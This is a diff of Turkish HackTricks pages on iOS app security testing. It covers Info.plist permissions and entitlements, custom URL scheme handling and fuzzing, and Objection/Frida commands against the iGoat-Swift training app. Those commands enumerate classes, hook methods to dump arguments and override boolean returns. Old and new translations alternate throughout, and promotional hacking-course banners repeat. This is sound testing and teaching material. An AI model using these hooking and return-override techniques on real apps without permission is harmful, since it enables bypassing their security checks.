Kaynak koduna erişimi olanlar için, `Info.plist` dosyasındaki izinlerin doğrulanması şu şekilde yapılabilir:
|
||||
|
||||
1. Xcode'da projeyi açma.
|
||||
2. `Info.plist` dosyasını bulma ve açma.
|
||||
3. Netlik için, `"Privacy -"` ile başlayan anahtarları/değerleri görüntüleme seçeneğiyle arama.
|
||||
1. Projeyi Xcode'da açın.
|
||||
2. `Info.plist` dosyasını bulun ve açın.
|
||||
3. Açıklık için `"Privacy -"` ile başlayan anahtarları arayın ve ham anahtar/değerleri görüntüleme seçeneğini kullanın.
|
||||
|
||||
IPA dosyasıyla uğraşırken, aşağıdaki adımlar izlenebilir:
|
||||
Bir IPA dosyası ile çalışırken, aşağıdaki adımlar izlenebilir:
|
||||
|
||||
1. IPA dosyasını açma.
|
||||
2. `Payload/<uygulamaadı>.app/` içindeki `Info.plist` dosyasını bulma.
|
||||
3. İncelemeyi kolaylaştırmak için dosyayı XML formatına dönüştürme gerekiyorsa dönüştürme.
|
||||
1. IPA dosyasını açın.
|
||||
2. `Payload/<appname>.app/` içinde `Info.plist` dosyasını bulun.
|
||||
3. Gerekirse, dosyayı daha kolay inceleme için XML formatına dönüştürün.
|
||||
|
||||
Örneğin, `Info.plist` dosyasındaki amaç dizeleri şu şekilde olabilir:
|
||||
Örneğin, `Info.plist` dosyasındaki amaç dizeleri şu şekilde görünebilir:
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
## Cihaz Yetenekleri
|
||||
Bir uygulamanın `Info.plist` dosyası, App Store'un cihaz uyumluluğuna göre uygulamaları filtrelemesine yardımcı olan **cihaz yeteneklerini** belirtir. Bunlar **`UIRequiredDeviceCapabilities`** anahtarı altında tanımlanır. Örneğin:
|
||||
## Device Capabilities
|
||||
Bir uygulamanın `Info.plist` dosyası, App Store'un uygulamaları cihaz uyumluluğu için filtrelemesine yardımcı olan **cihaz yeteneklerini** belirtir. Bunlar **`UIRequiredDeviceCapabilities`** anahtarı altında tanımlanır. Örneğin:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
Bu örnek, uygulamanın armv7 komut kümesiyle uyumlu olduğunu göstermektedir. Geliştiriciler, NFC'yi destekleyen cihazlara sadece uygulamanın erişilebilir olmasını sağlamak için nfc gibi yetenekleri de belirtebilirler.
|
||||
Bu örnek, uygulamanın armv7 talimat seti ile uyumlu olduğunu göstermektedir. Geliştiriciler, uygulamalarının yalnızca NFC'yi destekleyen cihazlarda kullanılabilir olmasını sağlamak için nfc gibi yetenekleri de belirtebilirler.
|
||||
|
||||
## Yetkilendirmeler
|
||||
## Yetkiler
|
||||
|
||||
**Yetkilendirmeler**, iOS uygulama geliştirmede başka bir önemli unsurdur ve çalışma zamanı denetimlerinin ötesinde uygulamalara belirli işlemleri gerçekleştirme izni veren anahtar-değer çiftleri olarak hizmet eder. Örneğin, bir uygulamada **Veri Koruma**'yı etkinleştirmek, Xcode projesine belirli bir yetkilendirme eklemeyi gerektirir ve bu daha sonra uygulamanın yetkilendirme dosyasında veya IPAlar için gömülü mobil sağlama dosyasında yansıtılır.
|
||||
**Yetkiler**, iOS uygulama geliştirmesinin bir diğer kritik yönüdür ve uygulamalara çalışma zamanı kontrollerinin ötesinde belirli işlemleri gerçekleştirme izni veren anahtar-değer çiftleri olarak hizmet eder. Örneğin, bir uygulamada **Veri Koruması**nı etkinleştirmek, Xcode projesine belirli bir yetki eklemeyi içerir; bu, uygulamanın yetki dosyasında veya IPA'lar için gömülü mobil sağlama dosyasında yansıtılır.
|
||||
|
||||
|
||||
# Referanslar
|
||||
|
@ -141,16 +142,17 @@ Bu örnek, uygulamanın armv7 komut kümesiyle uyumlu olduğunu göstermektedir.
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Bu, [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/) adresindeki ilgili bilgilerin bir özetidir.
|
||||
Bu, [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/) ile ilgili bilgilerin bir özetidir.
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Özel URL şemaları, uygulamaların özel bir protokol kullanarak iletişim kurmasını sağlar ve ayrıntıları [Apple Geliştirici Belgeleri](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)nde açıklanmıştır. Bu şemalar, uygulama tarafından bildirilmeli ve ardından bu şemalara uygun gelen URL'leri işlemlemelidir. Bu vektör aracılığıyla gerçekleşebilecek saldırıları önlemek için **tüm URL parametrelerini doğrulamak** ve **hatalı URL'leri reddetmek** önemlidir.
|
||||
Özel URL şemaları, uygulamaların [Apple Geliştirici Dokümantasyonu](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) detaylarında belirtildiği gibi, özel bir protokol kullanarak iletişim kurmasını sağlar. Bu şemalar, uygulama tarafından beyan edilmeli ve ardından bu şemalara uygun gelen URL'ler işlenmelidir. **Tüm URL parametrelerini doğrulamak** ve **herhangi bir hatalı URL'yi atmak** saldırıları önlemek için kritik öneme sahiptir.
|
||||
|
||||
Örneğin, `myapp://hostname?data=123876123` URI'si belirli bir uygulama eylemini çağırır. Skype Mobile uygulamasında bir zafiyet, `skype://` protokolü aracılığıyla izin verilmeyen çağrı eylemlerine izin veriyordu. Kayıtlı şemalar, uygulamanın `Info.plist` dosyasının `CFBundleURLTypes` bölümünde bulunabilir. Kötü niyetli uygulamalar, hassas bilgileri ele geçirmek için URI'leri yeniden kaydederek bunu istismar edebilir.
|
||||
`myapp://hostname?data=123876123` URI'sinin belirli bir uygulama eylemini tetiklediği bir örnek verilmiştir. Skype Mobil uygulamasında, `skype://` protokolü aracılığıyla izinsiz arama eylemlerine izin veren bir zafiyet tespit edilmiştir. Kayıtlı şemalar, uygulamanın `Info.plist` dosyasında `CFBundleURLTypes` altında bulunabilir. Kötü niyetli uygulamalar, hassas bilgileri ele geçirmek için URI'leri yeniden kaydederek bunu istismar edebilir.
|
||||
|
||||
### Uygulama Sorgu Şemalarının Kaydedilmesi
|
||||
### Uygulama Sorgu Şemaları Kaydı
|
||||
|
||||
iOS 9.0'dan itibaren bir uygulamanın mevcut olup olmadığını kontrol etmek için `canOpenURL:` işlevi, URL şemalarının `Info.plist` dosyasının `LSApplicationQueriesSchemes` bölümünde bildirilmesini gerektirir. Bu, bir uygulamanın sorgulayabileceği şemaları 50 ile sınırlayarak gizliliği artırır ve uygulama numaralandırmasını engeller.
|
||||
iOS 9.0'dan itibaren, bir uygulamanın mevcut olup olmadığını kontrol etmek için `canOpenURL:` kullanıldığında, URL şemalarının `Info.plist` dosyasında `LSApplicationQueriesSchemes` altında beyan edilmesi gerekmektedir. Bu, bir uygulamanın sorgulayabileceği şemaları 50 ile sınırlayarak, uygulama sayımını önleyerek gizliliği artırır.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
|
@ -32,7 +33,7 @@ iOS 9.0'dan itibaren bir uygulamanın mevcut olup olmadığını kontrol etmek i
|
|||
```
|
||||
### URL İşleme ve Doğrulama Testi
|
||||
|
||||
Geliştiriciler, URL yolunun oluşturulması ve doğrulanması hakkında bilgi edinmek için kaynak koddaki belirli yöntemleri incelemelidir, örneğin `application:didFinishLaunchingWithOptions:` ve `application:openURL:options:`. Örneğin, Telegram, URL'leri açmak için çeşitli yöntemler kullanır:
|
||||
Geliştiriciler, URL yol yapısını ve doğrulamasını anlamak için kaynak kodundaki belirli yöntemleri incelemelidir, örneğin `application:didFinishLaunchingWithOptions:` ve `application:openURL:options:`. Örneğin, Telegram, URL'leri açmak için çeşitli yöntemler kullanır:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
### Diğer Uygulamalara Yönelik URL İsteklerini Test Etme
|
||||
### Diğer Uygulamalara URL İsteklerini Test Etme
|
||||
|
||||
`openURL:options:completionHandler:` gibi yöntemler, diğer uygulamalarla etkileşim için URL'leri açmak için önemlidir. Bu tür yöntemlerin uygulamanın kaynak kodunda kullanımını belirlemek, harici iletişimi anlamak için önemlidir.
|
||||
`openURL:options:completionHandler:` gibi yöntemler, diğer uygulamalarla etkileşimde bulunmak için URL'leri açmak açısından kritik öneme sahiptir. Uygulamanın kaynak kodunda bu tür yöntemlerin kullanımını belirlemek, dış iletişimleri anlamak için anahtardır.
|
||||
|
||||
### Kullanımdan Kaldırılan Yöntemleri Test Etme
|
||||
### Kullanımdan Kaldırılmış Yöntemleri Test Etme
|
||||
|
||||
`application:handleOpenURL:` ve `openURL:` gibi URL açma işlemlerini yöneten kullanımdan kaldırılan yöntemler, güvenlikle ilgili sonuçları değerlendirmek için belirlenmeli ve incelenmelidir.
|
||||
`application:handleOpenURL:` ve `openURL:` gibi URL açma işlemlerini yöneten kullanımdan kaldırılmış yöntemler, güvenlik etkileri açısından belirlenmeli ve gözden geçirilmelidir.
|
||||
|
||||
### URL Şemalarını Fuzzing Yapma
|
||||
### URL Şemalarını Fuzzing
|
||||
|
||||
URL şemalarını fuzzing yapmak, bellek bozulma hatalarını belirleyebilir. [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) gibi araçlar, değişen yüklerle URL'leri açarak çökme durumlarını izlemek için bu süreci otomatikleştirebilir. Bu, iGoat-Swift uygulamasındaki URL'lerin manipülasyonuyla örneklenir:
|
||||
URL şemalarını fuzzing yapmak, bellek bozulması hatalarını belirleyebilir. [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) gibi araçlar, çökme durumlarını izlemek için farklı yüklerle URL'leri açarak bu süreci otomatikleştirebilir; bu, iGoat-Swift uygulamasındaki URL'lerin manipülasyonu ile örneklendirilmiştir:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
|||
## Referanslar
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a</strong> katıl<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Bu bölümde [**Objection**](https://github.com/sensepost/objection) aracı kullanılacak.\
|
||||
Objection oturumu almak için aşağıdaki gibi bir şeyi yürütün:
|
||||
Bu bölümde [**Objection**](https://github.com/sensepost/objection) aracı kullanılacaktır.\
|
||||
Bir objection oturumu başlatmak için şu şekilde bir şey çalıştırarak başlayın:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
Telefondaki çalışan işlemleri kontrol etmek için `frida-ps -Uia` komutunu da kullanabilirsiniz.
|
||||
You can execute also `frida-ps -Uia` to check the running processes of the phone.
|
||||
|
||||
# Uygulamanın Temel Sorgulanması
|
||||
# Uygulamanın Temel Sıralaması
|
||||
|
||||
## Yerel Uygulama Yolları
|
||||
|
||||
* `env`: Uygulamanın cihaz içinde depolandığı yolları bulun
|
||||
* `env`: Uygulamanın cihaz içinde saklandığı yolları bul
|
||||
|
||||
```bash
|
||||
env
|
||||
|
@ -38,7 +39,7 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
|||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Paketlerin, çerçevelerin ve kütüphanelerin Listelenmesi
|
||||
## Paketleri, çerçeveleri ve kütüphaneleri listele
|
||||
|
||||
* `ios bundles list_bundles`: Uygulamanın paketlerini listele
|
||||
|
||||
|
@ -49,7 +50,7 @@ Executable Bundle Version Path
|
|||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Uygulama tarafından kullanılan harici çerçeveleri listele
|
||||
* `ios bundles list_frameworks`: Uygulama tarafından kullanılan dış çerçeveleri listele
|
||||
|
||||
```bash
|
||||
ios bundles list_frameworks
|
||||
|
@ -76,7 +77,7 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
|||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules`: Bellekte yüklenen modülleri listele
|
||||
* `memory list modules`: Bellekte yüklü modülleri listele
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
|
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
|
|||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||
[...]
|
||||
```
|
||||
* `memory list exports <module_name>`: Yüklenen bir modülün dışa aktarımlarını listele
|
||||
* `memory list exports <module_name>`: Yüklenmiş bir modülün dışa aktarımları
|
||||
|
||||
```bash
|
||||
memory list exports iGoat-Swift
|
||||
|
@ -115,9 +116,10 @@ variable _ZTVN9couchbase6differ10BaseDifferE
|
|||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||
[..]
|
||||
```
|
||||
## Uygulamanın Sınıflarını Listele
|
||||
|
||||
* `ios hooking list classes`: Uygulamanın sınıflarını listeler
|
||||
## Bir Uygulamanın Sınıflarını Listele
|
||||
|
||||
* `ios hooking list classes`: Uygulamanın sınıflarını listele
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
|
@ -135,7 +137,7 @@ AAAppleTVRequest
|
|||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <search_term>`: Bir dize içeren bir sınıf arar. Örnekte olduğu gibi, ana uygulama paketi adıyla ilgili benzersiz bir terim arayabilirsiniz.
|
||||
* `ios hooking search classes <search_term>`: Bir dize içeren bir sınıfı ara. Uygulamanın ana sınıflarını bulmak için **ana uygulama paketine ait bazı benzersiz terimleri arayabilirsiniz**:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -153,9 +155,9 @@ iGoat_Swift.MemoryManagementVC
|
|||
[...]
|
||||
```
|
||||
|
||||
## Sınıf Metotlarını Listele
|
||||
## Sınıf Yöntemlerini Listele
|
||||
|
||||
* `ios hooking list class_methods`: Belirli bir sınıfın metotlarını listeler
|
||||
* `ios hooking list class_methods`: Belirli bir sınıfın yöntemlerini listele
|
||||
|
||||
```bash
|
||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||
|
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
|||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <search_term>`: Bir dize içeren bir metot arar
|
||||
* `ios hooking search methods <search_term>`: Bir dize içeren bir yöntemi ara
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
|
@ -186,35 +188,35 @@ ios hooking search methods cvv
|
|||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||
```
|
||||
|
||||
# Temel Hooking
|
||||
# Temel Hooklama
|
||||
|
||||
Uygulama tarafından kullanılan sınıfları ve modülleri sıraladıktan sonra bazı ilginç sınıf ve metot adları bulmuş olabilirsiniz.
|
||||
Artık uygulama tarafından kullanılan **sınıfları ve modülleri sıraladıysanız**, bazı **ilginç sınıf ve yöntem adları** bulmuş olabilirsiniz.
|
||||
|
||||
## Bir sınıfın tüm metotlarını Hook Etme
|
||||
## Bir Sınıfın Tüm Yöntemlerini Hookla
|
||||
|
||||
* `ios hooking watch class <class_name>`: Bir sınıfın tüm metotlarını hook eder, tüm başlangıç parametrelerini ve dönüşleri döker
|
||||
* `ios hooking watch class <class_name>`: Bir sınıfın tüm yöntemlerini hookla, tüm başlangıç parametrelerini ve dönüşleri dök
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Tek bir metodu Hook Etme
|
||||
## Tek Bir Yöntemi Hookla
|
||||
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Bir sınıfın belirli bir metodunu hook eder, her çağrıldığında metodun parametrelerini, geri izlemelerini ve dönüşlerini döker
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Bir sınıfın belirli bir yöntemini hookla, her çağrıldığında parametreleri, geri izlemeleri ve dönüşleri dök
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
||||
## Boolean Dönüşünü Değiştirme
|
||||
## Boolean Dönüşünü Değiştir
|
||||
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Seçilen metodu belirtilen boolean değeri döndürecek şekilde ayarlar
|
||||
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Bu, seçilen yöntemin belirtilen boolean değeri döndürmesini sağlar
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## Hooking Şablonu Oluşturma
|
||||
## Hooklama Şablonu Oluştur
|
||||
|
||||
* `ios hooking generate simple <class_name>`:
|
||||
|
||||
|
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
|
|||
```
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme hakkında sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin.
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
